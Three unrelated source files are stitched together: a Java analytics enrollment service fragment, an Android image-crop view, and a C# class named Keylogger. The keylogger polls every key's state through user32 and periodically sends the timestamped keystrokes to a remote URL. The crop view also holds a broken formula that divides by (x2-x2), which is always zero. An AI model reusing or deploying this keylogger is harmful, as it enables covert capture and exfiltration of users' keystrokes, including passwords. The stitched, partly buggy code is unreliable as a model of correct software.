        AnalyticsSecurityManager securityManager, EventQueryPlanner queryPlanner, EventQueryValidator queryValidator,
        SchemaIdResponseMapper schemaIdResponseMapper )
    {
        super( securityManager, queryValidator, schemaIdResponseMapper );

        checkNotNull( enrollmentAnalyticsManager );
        checkNotNull( queryPlanner );
        checkNotNull( schemaIdResponseMapper );

        this.enrollmentAnalyticsManager = enrollmentAnalyticsManager;
        this.queryPlanner = queryPlanner;
    }

    // -------------------------------------------------------------------------
    // EventAnalyticsService implementation
    // -------------------------------------------------------------------------

    @Override
    public Grid getEnrollments( EventQueryParams params )
    {
        return getGrid( params );
    }

    @Override
    protected Grid createGridWithHeaders( EventQueryParams params )
    {
        return new ListGrid()
            .addHeader( new GridHeader(
                ITEM_PI, NAME_PI, TEXT, false, true ) )
            .addHeader( new GridHeader(
                ITEM_TEI, NAME_TEI, TEXT, false, true ) )
            .addHeader( new GridHeader(
                ITEM_ENROLLMENT_DATE, LabelMapper.getEnrollmentDateLabel( params.getProgram(), NAME_ENROLLMENT_DATE ),
                DATE, false, true ) )
            .addHeader( new GridHeader(
                ITEM_INCIDENT_DATE, LabelMapper.getIncidentDateLabel( params.getProgram(), NAME_INCIDENT_DATE ), DATE,
                false, true ) )
            .addHeader( new GridHeader(
                ITEM_STORED_BY, NAME_STORED_BY, TEXT, false, true ) )
            .addHeader( new GridHeader(
                ITEM_CREATED_BY_DISPLAY_NAME, NAME_CREATED_BY_DISPLAY_NAME, TEXT, false, true ) )
            .addHeader( new GridHeader(
                ITEM_LAST_UPDATED_BY_DISPLAY_NAME, NAME_LAST_UPDATED_BY_DISPLAY_NAME, TEXT, false, true ) )
            .addHeader( new GridHeader(
                ITEM_LAST_UPDATED, NAME_LAST_UPDATED, DATE, false, true ) )
            .addHeader( new GridHeader(
                ITEM_GEOMETRY, NAME_GEOMETRY, TEXT, false, true ) )
            .addHeader( new GridHeader(
                ITEM_LONGITUDE, NAME_LONGITUDE, NUMBER, false, true ) )
            .addHeader( new GridHeader(
                ITEM_LATITUDE, NAME_LATITUDE, NUMBER, false, true ) )
            .addHeader( new GridHeader(
                ITEM_ORG_UNIT_NAME, NAME_ORG_UNIT_NAME, TEXT, false, true ) )
            .addHeader( new GridHeader(
                ITEM_ORG_UNIT_CODE, NAME_ORG_UNIT_CODE, TEXT, false, true ) )
            .addHeader( new GridHeader(
                ITEM_PROGRAM_STATUS, NAME_PROGRAM_STATUS, TEXT, false, true ) );
    }

    @Override
    protected long addEventData( Grid grid, EventQueryParams params )
    {
        Timer timer = new Timer().start().disablePrint();

        params = queryPlanner.planEnrollmentQuery( params );

        timer.getSplitTime( "Planned event query, got partitions: " + params.getPartitions() );

        long count = 0;

        if ( params.isTotalPages() )
        {
            count += enrollmentAnalyticsManager.getEnrollmentCount( params );
        }

        enrollmentAnalyticsManager.getEnrollments( params, grid, queryValidator.getMaxLimit() );

        timer.getTime( "Got enrollments " + grid.getHeight() );

        return count;
    }
}


text:
package com.yuqirong.koku.view;

import android.annotation.TargetApi;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.PointF;
import android.graphics.Rect;
import android.os.Build;
import android.util.AttributeSet;
import android.util.Log;
import android.view.MotionEvent;
import android.view.View;

import com.yuqirong.koku.util.ImageUtils;

/**
 * Created by Hanks on 2015/9/21.
 */
public class CropImageView extends View {

    private Paint cropPaint;
    private Paint layerPaint;
    private Paint bmPaint;

    private Rect cropRect;
    private int viewWidth, viewHeight;

    private float mScaleSize = 1f;
    private Bitmap mBitmap;
    private Matrix mMatrix;
    private int viewSize;
    private float dx, dy;

    private PointF mid;
    private int MODE_DRAG = 0;
    private int MODE_ZOOM = 1;
    private int MODE_NONE = 2;
    private int mode;
    private float oldDist;
    private float maxZoom;

    public CropImageView(Context context) {
        super(context);
        setup(context);
    }

    public CropImageView(Context context, AttributeSet attrs) {
        super(context, attrs);
        setup(context);
    }

    public CropImageView(Context context, AttributeSet attrs, int defStyleAttr) {
        super(context, attrs, defStyleAttr);
        setup(context);
    }

    @TargetApi(Build.VERSION_CODES.LOLLIPOP)
    public CropImageView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
        super(context, attrs, defStyleAttr, defStyleRes);
        setup(context);
    }

    private void setup(Context context) {

        cropPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
        cropPaint.setColor(Color.WHITE);
        cropPaint.setAlpha(0);

        bmPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
        bmPaint.setColor(Color.WHITE);

        layerPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
        layerPaint.setColor(Color.WHITE);
        layerPaint.setAlpha(200);

        cropRect = new Rect();

        mMatrix = new Matrix();

        mid = new PointF();

    }

    @Override
    protected void onSizeChanged(int w, int h, int oldw, int oldh) {
        super.onSizeChanged(w, h, oldw, oldh);

        cropRect.set(0, (h - w) / 2, 0, w + (h - w) / 2);
        viewWidth = w;
        viewHeight = h;
        viewSize = viewWidth;
    }

    @Override
    protected void onDraw(Canvas canvas) {
        if (mBitmap == null) return;

        canvas.save();
        canvas.drawBitmap(mBitmap, mMatrix, bmPaint);
        canvas.drawRect(0, 0, viewWidth, (viewHeight - viewWidth) / 2, layerPaint);
        canvas.drawRect(0, (viewHeight - viewWidth) / 2 + viewWidth, viewWidth, viewHeight, layerPaint);
        canvas.restore();

    }

    @Override
    public boolean onTouchEvent(MotionEvent event) {
        return handleTouchEvent(event);
    }

    private boolean handleTouchEvent(MotionEvent event) {
        switch (event.getAction() & MotionEvent.ACTION_MASK) {
            //一个手指按下
            case MotionEvent.ACTION_DOWN:
                showL("down");
                mode = MODE_DRAG;
                dx = event.getX();
                dy = event.getY();
                break;
            //其他手指按下
            case MotionEvent.ACTION_POINTER_DOWN:
                mode = MODE_ZOOM;
                oldDist = spacing(event);
                midPoint(mid, event);
                break;

            case MotionEvent.ACTION_POINTER_UP:
                mode = MODE_ZOOM;
                oldDist = spacing(event);
                midPoint(mid, event);
                break;
            case MotionEvent.ACTION_MOVE:
                if (mode == MODE_DRAG) {
                    showL("move");
                    int tempx = (int) (event.getX() - dx);
                    int tempy = (int) (event.getY() - dy);
                    totalLeft += tempx;
                    totalRight += tempx;

                    totalBottom += tempy;
                    totalTop += tempy;

                    showL("left:" + totalLeft + ",right:" + totalRight + ",top:" + totalTop + ",bottom:" + totalBottom);
                    if (!bitmapInBound(tempx)) {
                        //检测到要超出边界, 回退
                        totalLeft -= tempx;
                        totalRight -= tempx;
                        tempx = 0;
                    }

                    mMatrix.postTranslate(tempx, tempy);
                    dx = event.getX();
                    dy = event.getY();
                    invalidate();
                } else if (mode == MODE_ZOOM) {
                    float newDist = spacing(event);
                    showL("oldDis:" + oldDist + ",newDIs:" + newDist);
                    showL("width:" + mBitmap.getWidth() * getScale(mMatrix) + ",height:" + mBitmap.getHeight() * getScale(mMatrix));

                    zoomTo(newDist, mid.x, mid.y);// 縮放
                    oldDist = spacing(event);

                }
                break;

            case MotionEvent.ACTION_UP:
            case MotionEvent.ACTION_CANCEL:
                mode = MODE_NONE;
                //手指抬起
                int y = 0;
                if (totalTop > 0) {
                    y = -totalTop;
                    totalBottom -= totalTop;
                    totalTop = 0;

                }
                if (totalBottom < 0) {
                    y = -totalBottom;
                    totalTop -= totalBottom;
                    totalBottom = 0;
                }
                mMatrix.postTranslate(0, y);
                showL("up");
                invalidate();
                break;
        }
        return true;
    }

    // 触碰两点间距离
    private float spacing(MotionEvent event) {
        float result = 0;
        if (event.getPointerCount() >= 2) {
            float x = event.getX(0) - event.getX(1);
            float y = event.getY(0) - event.getY(1);
            result = (float) Math.sqrt(x * x + y * y);
        }
        return result;
    }

    // 取手势中心点
    private void midPoint(PointF point, MotionEvent event) {
        if (event.getPointerCount() >= 2) {
            float x = event.getX(0) + event.getX(1);
            float y = event.getY(0) + event.getY(1);
            point.set(x / 2, y / 2);
        }
    }

    protected void zoomTo(float newDis, float centerX, float centerY) {
        if (newDis > 0) {
            float scale = 1;
            if (newDis > oldDist) { //放大
                scale = (newDis - oldDist) / dp2px(512) + 1;
            } else {//缩小
                scale = 1 - (oldDist - newDis) / dp2px(512);
            }

            showL("scale:" + scale);
//        scale:0~5

            if (bitmapInBound(scale,centerX,centerY)) {
                mMatrix.postScale(scale, scale, centerX, centerY);
                invalidate();
            }

        }
    }

    private int dp2px(int dpValue) {
        return (int) (dpValue * (getResources().getDisplayMetrics().densityDpi / 160f) + 0.5f);
    }

    protected float getScale(Matrix matrix) {
        return getValue(matrix, Matrix.MSCALE_X);
    }

    protected float getValue(Matrix matrix, int whichValue) {
        matrix.getValues(matrixValues);
        return matrixValues[whichValue];
    }

    protected float calculateMaxZoom() {
        if (mBitmap == null) {
            return 1F;
        }
        float fw = (float) mBitmap.getWidth() / (float) viewWidth;
        float fh = (float) mBitmap.getHeight() / (float) viewHeight;
        return Math.max(fw, fh) * 4; // 400%
    }

    private final float[] matrixValues = new float[9];

    int totalLeft = 0;
    int totalRight = 0;
    int totalTop = 0;
    int totalBottom = 0;

    private boolean bitmapInBound(int tempx) {

        float[] f = new float[9];
        mMatrix.getValues(f);
        // 图片4个顶点的坐标
        int x1 = (int) (f[0] * 0 + f[1] * 0 + f[2]);
        int y1 = (int) (f[3] * 0 + f[4] * 0 + f[5]);
        int x2 = (int) (f[0] * mBitmap.getWidth() + f[1] * 0 + f[2]);
        int y2 = (int) (f[3] * mBitmap.getWidth() + f[4] * 0 + f[5]);
        int x3 = (int) (f[0] * 0 + f[1] * mBitmap.getHeight() + f[2]);
        int y3 = (int) (f[3] * 0 + f[4] * mBitmap.getHeight() + f[5]);
        int x4 = (int) (f[0] * mBitmap.getWidth() + f[1] * mBitmap.getHeight() + f[2]);
        int y4 = (int) (f[3] * mBitmap.getWidth() + f[4] * mBitmap.getHeight() + f[5]);

        showL("x1:" + x1 + ",y1:" + y1);
        showL("x2:" + x2 + ",y2:" + y2);
        showL("x3:" + x3 + ",y3:" + y3);
        showL("x4:" + x4 + ",y4:" + y4);

        boolean result = x1 + tempx <= -dp2px(5) && x3 + tempx <= -dp2px(5) && x2 + tempx >= viewWidth + dp2px(5) && x4 + tempx >= viewWidth + dp2px(5);

        return result;
    }

    private boolean bitmapInBound(float scale,float centerX, float centerY) {

        float[] f = new float[9];
        mMatrix.getValues(f);
        // 图片4个顶点的坐标
        int x1 = (int) (f[0] * 0 + f[1] * 0 + f[2]);
        int y1 = (int) (f[3] * 0 + f[4] * 0 + f[5]);
        int x2 = (int) (f[0] * mBitmap.getWidth() + f[1] * 0 + f[2]);
        int y2 = (int) (f[3] * mBitmap.getWidth() + f[4] * 0 + f[5]);
        int x3 = (int) (f[0] * 0 + f[1] * mBitmap.getHeight() + f[2]);
        int y3 = (int) (f[3] * 0 + f[4] * mBitmap.getHeight() + f[5]);
        int x4 = (int) (f[0] * mBitmap.getWidth() + f[1] * mBitmap.getHeight() + f[2]);
        int y4 = (int) (f[3] * mBitmap.getWidth() + f[4] * mBitmap.getHeight() + f[5]);

        showL("x1:" + x1 + ",y1:" + y1);
        showL("x2:" + x2 + ",y2:" + y2);
        showL("x3:" + x3 + ",y3:" + y3);
        showL("x4:" + x4 + ",y4:" + y4);

        boolean result;
        if (scale > 1) { //放大
            result = true;
        } else { //缩小
            result = x1 + ((centerX-x1)*1f/(x2-x2)) * ( (x2-x1) - (x2-x1)*Math.sqrt(scale)) <= -dp2px(5)   && x2 -  ((centerX-x1)*1f/(x2-x2)) * ( (x2-x1) - (x2-x1)*Math.sqrt(scale)) >= viewWidth + dp2px(5)  ;
        }

        return result;
    }

    public void setImagePath(String imagePath) {
        int[] imageSize = new int[2];
        imageSize[0] = viewWidth;
        imageSize[1] = viewHeight;
        mBitmap = ImageUtils.getResizeBitmap(imagePath, imageSize);
        maxZoom = calculateMaxZoom();
        calcMatrix();
        invalidate();
    }

    private void calcMatrix() {
        if (mBitmap == null) return;
        int w = mBitmap.getWidth();
        int h = mBitmap.getHeight();
        float scale = 1f;
        if (w > viewSize) {
            if (h > viewSize) {
                scale = 1f / Math.min(w * 1f / viewSize, h * 1f / viewSize);
            } else {
                scale = viewSize * 1f / h;
            }
        } else {
            if (h > viewSize) {
                scale = viewSize * 1f / w;
            } else {
                scale = Math.max(viewSize * 1f / w, viewSize * 1f / h);
            }
        }

        showL(scale + "-------------------------------");
        mMatrix.reset();
        mMatrix.setScale(scale, scale);
        mMatrix.postTranslate(viewWidth / 2 - w * scale / 2, viewHeight / 2 - h * scale / 2);

        //计算左右可以滑动的距离
        totalLeft = (int) (-(w * scale - viewSize) / 2);
        totalRight = (int) ((w * scale - viewSize) / 2);
        totalTop = (int) (-(h * scale - viewSize) / 2);
        totalBottom = (int) ((h * scale - viewSize) / 2);
        showL("**left:" + totalLeft + "right:" + totalRight);
    }

    public void showL(String string) {
        Log.i("", string);
    }
}


text:
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using HIT.Common.Extensions;
using HIT.Services;
using HIT.Web.ViewModels;

namespace HIT.Desktop.Spy
{
    public class Keylogger : IDataCollector
    {
        [DllImport("user32.dll")]
        private static extern int GetAsyncKeyState(Int32 i);

        private readonly object SyncLock;
        private readonly string SessionId;
        private readonly KeyloggerSettings Settings;
        private readonly ConcurrentQueue<string> KeysPressedQueue;
        private readonly IHttpService HttpService;

        private Timer timer;
        private bool isRunning;

        public Keylogger(string sessionId, KeyloggerSettings settings, IHttpService httpService)
        {
            this.Settings = settings;
            this.SessionId = sessionId;
            this.HttpService = httpService;
            this.KeysPressedQueue = new ConcurrentQueue<string>();
            this.SyncLock = new object();
        }

        public Task Start()
        {
            this.StartTimer();
            this.isRunning = true;

            while (this.isRunning)
            {
                this.TryEnqueueKeysPressed();

                // Wait for 10-15 ms to prevent CPU overload
                Thread.Sleep(10);
            }

            return null;
        }

        private void StartTimer()
        {
            this.timer = new Timer(async (_) => { await this.SendKeysPressed(); },
              this.Settings.TimerSettings.ObjectState,
              this.Settings.TimerSettings.DueTimeInMilliseconds,
              this.Settings.TimerSettings.PeriodInMilliseconds);
        }

        private void TryEnqueueKeysPressed()
        {
            for (Int32 i = 0; i < 255; i++)
            {
                var keyState = GetAsyncKeyState(i);

                if (keyState == 1 || keyState == -32767)
                {
                    var key = (Keys)i;

                    if (key != Keys.LButton && key != Keys.RButton)
                    {
                        this.KeysPressedQueue.Enqueue($"[{DateTime.Now}] - {key}");
                    }
                }
            }
        }

        private IEnumerable<string> ExtractItemsFromQueue(ConcurrentQueue<string> queue)
        {
            var itemsToDequeueCount = queue.Count;
            var itemsDequeued = new List<string>(itemsToDequeueCount);

            var item = default(string);
            var canDequeueItem = queue.TryDequeue(out item);
            var shouldDequeueItem = itemsToDequeueCount > 0;

            while (shouldDequeueItem && canDequeueItem)
            {
                itemsDequeued.Add(item);
                itemsToDequeueCount--;
                canDequeueItem = queue.TryDequeue(out item);
                shouldDequeueItem = itemsToDequeueCount > 0;
            }

            return itemsDequeued;
        }

        private async Task SendKeysPressed()
        {
            if (this.KeysPressedQueue.IsNotNull() && this.KeysPressedQueue.Count.IsGreaterThan(0))
            {
                IEnumerable<string> keysToSend;

                /* We are using a lock here, because there is a chance that the TimerEventHandler()
                 * will be invoked again before its previous execution is completed.
                 * This comes from the fact that we are awaiting an API call to a distant server,
                 * which might slow down the execution for multiple reasons like:
                 * Low bandwidth or High workload.
                 * This will occur in a race condition because both of the methods will try to
                 * dequeue items from the queue concurrently, which is not a problem for the queue itself,
                 * but it is a problem for the lists that are be built -
                 * they will contain chronologically messed up data. */
                lock (this.SyncLock)
                {
                    keysToSend = this.ExtractItemsFromQueue(this.KeysPressedQueue);
                }

                try
                {
                    var model = new KeysPressedViewModel
                    {
                        SessionId = this.SessionId,
                        KeysPressed = keysToSend
                    };

                    //await this.HttpService.SendAsBson(model,
                    //    this.Settings.HttpServiceSettings.BaseAddress,
                    //    this.Settings.HttpServiceSettings.RequestURL);

                    await this.HttpService.SendAsBson(model, this.Settings.RequestUrl);
                }
                catch (Exception exc)
                {
                    // TODO: Log the exception cause
                }
            }
        }

        public async void Stop()
        {
            // Stops the Start() method from logging any more keys
            this.isRunning = false;

            // Send the last keys that were pressed
            await this.SendKeysPressed();
        }
    }
}